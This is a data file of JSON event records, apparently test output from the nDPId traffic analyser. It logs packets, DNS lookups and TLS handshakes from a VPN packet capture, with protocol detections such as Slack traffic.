+00449{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687251,"pkt_ts_usec":177008,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"LH6BsEqhNDY7z3UoCABFAAA+HQ0AAP8R\/CcKAADjS0tMTNZDADUAKtGSphcBAAABAAAAAAAABXByaW50BnZpYXNhdANjb20AAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1569687251177,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":54851,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"print.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00560{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687251,"pkt_ts_usec":230505,"pkt_caplen":157,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":157,"pkt_l4_len":123,"pkt":"NDY7z3UoLH6BsEqhCABFAACPAABAADYRoeRLS0xMCgAA4wA11kMAe\/FSpheBgwABAAAAAQAABXByaW50BnZpYXNhdANjb20AAAEAAcASAAYAAQAAA4QARQZucy02MzIJYXdzZG5zLTE1A25ldAARYXdzZG5zLWhvc3RtYXN0ZXIGYW1hem9uwBkAAAABAAAcIAAAA4QAEnUAAAFRgA=="} +00662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":122,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":2,"flow_first_seen":1569687251177,"flow_last_seen":1569687251230,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":42,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":54851,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"print.viasat.com","num_queries":1,"num_answers":1,"reply_code":3,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00583{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687251,"pkt_ts_usec":429955,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"pHczjPFANDY7z3UoCABFAgCiAABAAEAGJN0KAADjCgAAldwAH0m4VKUYauVqlYAYEACLWQAAAQEIChwNkfYAIdc\/FwMDAGnBoRpnSakDpbbtOO1oFQFMvTatXfQ13YvHj0oLfGJl9JpWlsgauBFeoA7+JlmFrD8o9ELaYLgs9RsfLxNGWM8Fap769GXl+TuJe1SDZT7YsErPd9vuIVPm60SZhhH5VOfnzBgNpzDOaYk="} +00582{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687251,"pkt_ts_usec":432009,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"NDY7z3UopHczjPFACABFAgCiFANAAEAGENoKAACVCgAA4x9J3ABq5WqVuFSlhoAYARVo3QAAAQEICgAh2TMcDZH2FwMDAGnME9q5WBaoTxO4eWqtx9PaFo02Fc3nfPNp8pF7vSt+swHbhi70yI0wIgY4irdjppeso7+tYJgVpxy3Dq7WX32l1ccQW5M5AFGSshc12Yls9xl2CLpSmG1mEsWpkHkZoEdQqG0j2ZVcEiM="} +00432{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687251,"pkt_ts_usec":432069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAldwAH0m4VKWGauVrA4AQD\/ya4QAAAQEIChwNkfgAIdkz"} +00585{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687253,"pkt_ts_usec":740196,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":127,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1569687255989,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":58155,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687255,"pkt_ts_usec":989610,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"LH6BsEqhNDY7z3UoCABFAAA3enMAAP8RnsgKAADjS0tMTOMrADUAI5+UjycBAAABAAAAAAAABXNsYWNrA2NvbQAAAQAB"} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":127,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1569687255989,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":58155,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Slack","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"slack.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00460{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":18232,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"NDY7z3UoLH6BsEqhCABFAABHAABAADcRoSxLS0xMCgAA4wA14ysAM\/asjyeBgAABAAEAAAAABXNsYWNrA2NvbQAAAQABwAwAAQABAAAAIwAEY1YinA=="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":128,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_first_seen":1569687255989,"flow_last_seen":1569687256018,"flow_tot_l4_data_len":86,"flow_min_l4_data_len":35,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":58155,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Slack","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"slack.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"99.86.34.156"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":129,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1569687256018,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"99.86.34.156","src_port":56920,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":18732,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LH6BsEqhNDY7z3UoCABFAABAAABAAEAGqeMKAADjY1YinN5YAbvhhxKGAAAAALAC\/\/8SKwAAAgQFtAEDAwUBAQgKHA2jzgAAAAAEAgAA"} +00443{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":50128,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"NDY7z3UoLH6BsEqhCABFAAA8AABAAO4G++ZjViKcCgAA4wG73lg6Ai8I4YcSh6AScSDdlgAAAgQFtAQCCApVvxWbHA2jzgEDAwg="} +00431{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":50218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGqe8KAADjY1YinN5YAbvhhxKHOgIvCYAQEBVtUAAAAQEIChwNo+1VvxWb"} +01132{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":50357,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"LH6BsEqhNDY7z3UoCABFAAI5AABAAEAGp+oKAADjY1YinN5YAbvhhxKHOgIvCYAYEBXjtQAAAQEIChwNo+1VvxWbFgMBAgABAAH8AwP2lJ2Zoyt+6aEF0xJ\/aUe6evUZainhAnYJBIQSx1\/tWSCNfN3\/DfWLQ8HungFwV0GCEYkIdCKU0GMUI0bm8cDscgAcmprAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZfKygAA\/wEAAQAAAAAOAAwAAAlzbGFjay5jb20AFwAAACMAsP2UHl3lVE0zaDd6PBof23w+FD8mx8e3Phvd1tTaMrFhi9+Td+e1NJsUbpbP9uRq3tuE3zRBdy5hybNsk8MXE51kvVMK0eOntSrDahuD42sFCkzVH\/S0PgpsSfI8A+giwf+frrZktkI4KRg3hCDL3AxOeo+p2XlfkQM+Sl1864masTeQczQS\/W7RtMRlmXf4940V2idU49yugeM67ej0Z92wy18bTBX2me+5KJfbuIBfAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAiamgAdABcAGAAbAAMCAAKamgABAAAVAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00735{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1569687256018,"flow_last_seen":1569687256050,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"99.86.34.156","src_port":56920,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Slack","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"slack.com","ja3":"d8dc5f8940df366b3a58b935569143e8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00432{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":92301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0OpdAAO4GwVdjViKcCgAA4wG73lg6Ai8J4YcUjIAQAHZ65gAAAQEIClW\/FZ8cDaPt"} +00634{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":93242,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"NDY7z3UoLH6BsEqhCABFAADGOphAAO4GwMRjViKcCgAA4wG73lg6Ai8J4YcUjIAYAHZtAgAAAQEIClW\/FZ8cDaPtFgMDAFoCAABWAwN+R7Nshs\/ehq2TNPP3JdaT01yY+pmTbRbKEq72Sa92tyCNfN3\/DfWLQ8HungFwV0GCEYkIdCKU0GMUI0bm8cDscsAvAAAO\/wEAAQAAEAAFAAMCaDIUAwMAAQEWAwMAKDYMjtJfzeRO5qVw0Kt+Z2fVyY9j0seokftrrwCnACaby9QeanHF8og="} +00789{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":134,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1569687256018,"flow_last_seen":1569687256093,"flow_tot_l4_data_len":875,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"99.86.34.156","src_port":56920,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Slack","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"slack.com","ja3":"d8dc5f8940df366b3a58b935569143e8","ja3s":"7bee5c1d424b7e5f943b06983bb11422","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00431{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":93311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGqe8KAADjY1YinN5YAbvhhxSMOgIvm4AQEBFqkAAAAQEIChwNpBZVvxWf"} +00503{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":93486,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"LH6BsEqhNDY7z3UoCABFAABnAABAAEAGqbwKAADjY1YinN5YAbvhhxSMOgIvm4AYEBHMjAAAAQEIChwNpBdVvxWfFAMDAAEBFgMDACgAAAAAAAAAAEkqWW9vMe9wu\/mI5boJymXWXb6Kk058wzXcVuC6\/gkE"} +00560{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":93779,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"LH6BsEqhNDY7z3UoCABFAACRAABAAEAGqZIKAADjY1YinN5YAbvhhxS\/OgIvm4AYEBF7QgAAAQEIChwNpBdVvxWfFwMDAFgAAAAAAAAAATNLTuPHYyyTgb1ohdK2597G2vdYRI46G8U4WDCMBl2ySdHDtlVf62S4aRN6D1TdJgZ56yZhvPyeVW5\/6m4IoUR0g6x+NYIy7XNmMXQx9rbv"} +01504{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":93981,"pkt_caplen":853,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":853,"pkt_l4_len":819,"pkt":"LH6BsEqhNDY7z3UoCABFAANHAABAAEAGptwKAADjY1YinN5YAbvhhxUcOgIvm4AYEBG8egAAAQEIChwNpBdVvxWfFwMDAw4AAAAAAAAAAvf9iJTGO9SxTeeTQZamzz+suxHTu7wggeCdxzg\/V9YXcR\/NhRPDHTkoc2tRf0bLNjy5qXlqXHu5ZRGKnyOfDkC9AsEc4Lly2x8NSgEw0eDG6AVUWmYjun3yUP5p\/CJH+md+SbqNhC0MVKyr31\/YWXf\/uh595HJkZFPN+6gGfCvo7cUioMTBpS+3sL5ZZfzhdRRuS6W6q+WDJjU8uTIBlXj87Vp4bL69PaZHtraVby3+aUVATpjU3\/HbrC54e+466Z9vlzA\/qyPzX8xAFr4\/AuVOLwcVPwg+wEnUYUl2NjL1mmnv\/2VJelqMYqFR4pVOEPe0wuLyJKXIA0jh83e8fOvPtDBwpyMVzg1jpsz4+US7RhEqGeZ2BMH8pp4DXIatlpqyUdukmnj37Az2NnF24QhK2KbJthGdywkfzL5FbWeWNsANRreQyZd229hBhvQU2ni\/giDAWZ3+ai+UoxByBphvb71yIn3UAnW86+fwbG2rKFSmZ2ds68SAAomI6jOtOHiE36UmMDSqZVicj8dLW0IM2t8Dd2B01WP8oe+fszzBCii0wPSWXsDxBrGUz2b5tX+9f+8mxxRgwg\/eldIphnB5QKA7VtpROdakE9Dlqj3v2eftVE86e8W3ZIvWd1Ig4bcGuQBhr36HjP6OVasCTGgMs5YBlu8ZIgaWaMM08cbRcsUFacw89GJ4xVxw5P6Iv7IdEy6MQk4\/tcUJiz5nIe26NiL5NO0OCngMpuBBw3JsRXNbf0Udy1oTWujl6c9oABjKGdMmECOD6YYtMGw+OdceauXGOUoZbVGSDfymA05zyDer0ePrfEWiWp6rdlg3DPyu9z750XEvzkVrt3xaJvgUYRFmmhoh8Z7O4Ql5q3aUyZdGQ4Dp3CfUo\/hfiMyfhMtpOFFcl\/mWVZn4p\/VhXTKGz\/Sk2esfbxDit6GQu0z1NXRfcd4et\/8xn8k+gpn9B8XvazVgS+8u8KO7AVm26XvJ6BcrOGAlrX6ZaZwpNMtTdBsdPuM2LT05f2WZs+yfoGPvpoe5Dw=="} +00434{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":126242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0OplAAO4GwVVjViKcCgAA4wG73lg6Ai+b4YcYL4AQAHx2fQAAAQEIClW\/FaMcDaQX"} +00543{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":126246,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"NDY7z3UoLH6BsEqhCABFAACCOppAAO4GwQZjViKcCgAA4wG73lg6Ai+b4YcYL4AYAHzZOwAAAQEIClW\/FaMcDaQXFwMDAEk2DI7SX83kT4Az9x4bmWZxNO4uvk0jgKhRQYRs3aRw1zH882HA0Y3NIUr1WQ8j0CIj9wf4UEXmrQZXbDk\/xMwrTf\/AdXQIXXZl"} +00433{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":126302,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGqe8KAADjY1YinN5YAbvhhxgvOgIv6YAQEA5mfQAAAQEIChwNpDdVvxWj"} +00488{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":126432,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"LH6BsEqhNDY7z3UoCABFAABaAABAAEAGqckKAADjY1YinN5YAbvhhxgvOgIv6YAYEA5QrgAAAQEIChwNpDdVvxWjFwMDACEAAAAAAAAAAzKe643NDoVxE72MN\/7HbwasKc8PYurQQ3E="} +01014{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":201376,"pkt_caplen":487,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":487,"pkt_l4_len":453,"pkt":"NDY7z3UoLH6BsEqhCABFAAHZOptAAO4Gv65jViKcCgAA4wG73lg6Ai\/p4YcYVYAYAHwbiQAAAQEIClW\/FaocDaQ3FwMDAaA2DI7SX83kUECNqD7pZ3Dg9OJi+1Vej2mt1J2AaetAmTTaeuhIBb\/NqerXFJcC7L8h\/fScTeaNmsYG0wjC\/J4NUeOCS4QJiKweH2HlRpPmAdw1z7U5m2BPl+ReweJX4xgtVS87fzPPYSMI7xUtboOD9j8+ktN5EZoaKUIqKClHJdCLTYyzptX7PR9wtBJNGfx6PR\/pGoijFNhix30eTsaUHcGATmvGqiwVia2ABjZoEoZE1N7cCBAA4UDwESFqNY5FtAYORvm\/LKpLNV9T4ABlT7a\/MbLZmMc7\/A8dJKhBNC+OCnwy6Qu15uBBc\/ETtm22qr2F4fgvQL2x5cKOmas5bci41fLsHPPe2L2WmPFxWNKFB2Ll3qjsyn8nGTOz8XAdgSAE7TWWuio8A+0\/\/UjY2W\/AN+EmN45hKg5MAAbEsS4ou1uXQVKq44VMuoiazBcVclUMuKyqCe3F1+eXkkXk0nkfKnPO2kOUn5c1EHuVOdNbJ7aHOp6PFqPWlw9gSsos4QKulik\/Rcd4vHile6Xw035gPf8BnUqKtyApQPgfgw=="} +00590{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":433115,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"pHczjPFANDY7z3UoCABFAgCiAABAAEAGJN0KAADjCgAAldwAH0m4VKWGauVrA4AYEAD\/fAAAAQEIChwNpWUAIdkzFwMDAGnUncxdOauHzmjFwguRYdtf0TJI63b4yVza31VgVxmV4jwpgBzJA\/qAYGWUnB\/618+e\/1edMQ+OHkYDeVlLRX27l\/LcYyDMLAeEOvCGEY9Sqs3\/KigshLQgAq+20Q\/n8mubXMFcnfS3Gn0="} +00586{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":435366,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"NDY7z3UopHczjPFACABFAgCiFARAAEAGENkKAACVCgAA4x9J3ABq5WsDuFSl9IAYARV1xQAAAQEICgAh2yccDaVlFwMDAGmMCHP98KlRXIA7TGmo3+Bq56QkuNiT0wtlj5Xc\/D9AZF+TeIY7JEaMOGJjd+UEaLs+JKCt5ILl8HtR9hsQk0h9qSMCDd3Cxm2FKvBnPaWoV0i2lyboe\/tMji1LZRv0H\/hnQ6RRnY5LMQM="} +00433{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":435427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAldwAH0m4VKX0auVrcYAQD\/yEogAAAQEIChwNpWcAIdsn"} +00585{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":812131,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00522{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687256,"pkt_ts_usec":976101,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzAABAAEAGB9AKAADjNCXzrd5SAbt7aDN2a\/Iuu4AYEACMxQAAAQEIChwNp4ECYGIfFwMDADoAAAAAAAAABWpQugOqCE38l\/frkqmzk177YnwE6gNr3Pdqbx\/COOeetvWHyx1IFsd9DoAqrv\/zC4NH"} 